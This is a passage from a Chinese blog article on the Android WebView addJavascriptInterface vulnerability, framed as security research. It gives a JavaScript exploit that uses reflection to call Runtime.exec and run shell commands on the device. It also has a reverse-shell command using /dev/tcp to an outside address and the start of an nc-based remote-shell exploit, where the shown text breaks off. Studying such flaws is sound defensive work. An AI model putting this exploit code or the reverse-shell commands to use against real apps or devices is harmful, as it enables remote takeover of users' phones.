Android 安全系列之---WebView中接口隐患与手机挂马利用

最新推荐文章于 2021-05-25 17:40:37 发布

jackrex

最新推荐文章于 2021-05-25 17:40:37 发布

阅读量3.6k

点赞数 1

分类专栏：精品文章常来看看 Android屌丝攻城狮 Android开发勘误精品

本文链接：https://blog.csdn.net/jackrex/article/details/11110675

版权

本文探讨了Android WebView中的接口安全隐患，详细介绍了如何利用addJavascriptInterface进行本地Java与JavaScript交互的安全问题。从检测利用、远程获取shell、远程挂马到修复措施，逐一剖析了潜在风险。针对Android 4.2以上版本的解决方案，以及在使用JavaScript与Java桥接时的参数验证，都是避免此类问题的关键。

摘要由CSDN通过智能技术生成

WebView中接口隐患与手机挂马利用

0x00 背景

在android的sdk中封装了webView控件。这个控件主要用开控制的网页浏览。在程序中装载webView控件，可以设置属性（颜色，字体等）。类似PC下directUI的功能。在webView 下有一个非常特殊的接口函数addJavascriptInterface。能实现本地java和js的交互。利用addJavascriptInterface这个接口函数可实现穿透webkit控制android 本机。

0x01 检测利用

一般使用html 来设计应用页面的几乎不可避免的使用到addJavascriptInterface，包含不限于android浏览器。

在android 代码程序一般是这样使用：

 
         settings.setJavaScriptEnabled( 
         true 
         ); 
        
         settings.setJavaScriptCanOpenWindowsAutomatically( 
         true 
         ); 
        
         mWebView.addJavascriptInterface( 
         new 
         JSInvokeClass(),  
         "js2java" 
         );

这里可以用

apk->zip->dex->dex2jar->jdgui->java

代码来查找。

但建议用apktool 反编译smali（毕竟不是所有apk都能反编译成java代码）

在smali代码中则是类似下列的代码：

const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V

当检测到存在上述代码时，可以进行进一步验证利用：

在11年，已经有人利用addJavascriptInterface进行文件读写，并放出简单的poc,到12年出现了简单的执行代码的exp。利用的是反射回调java类的内置静态变量。如下列的利用代码；

<script>
function execute(cmdArgs)
{
    return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>

利用java的exec执行linux的shell命令。

0x02 远程获取shell

套用yuange的一句话：Poc远远小于exp的价值。

利用addJavascriptInterface实现shell.

Android内部的armlinux 是没有busybox 的，一些常规弹shell的方法被限制。

使用了java的反弹shell方法

//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do \$line 2>&5 >&5; done"]);

在Nexus One 4.3的android虚拟机并未成功弹出shell.

后发现android中可执行 nc命令（阉割版的不带-e的nc）

这里用了nc的另外一种弹shell的方法完成

Exp 内容：

 
         <script> 
        
         function 
         execute(cmdArgs) 
        
         {
           
         return 
         XXX.getClass().forName( 
         "java.lang.Runtime"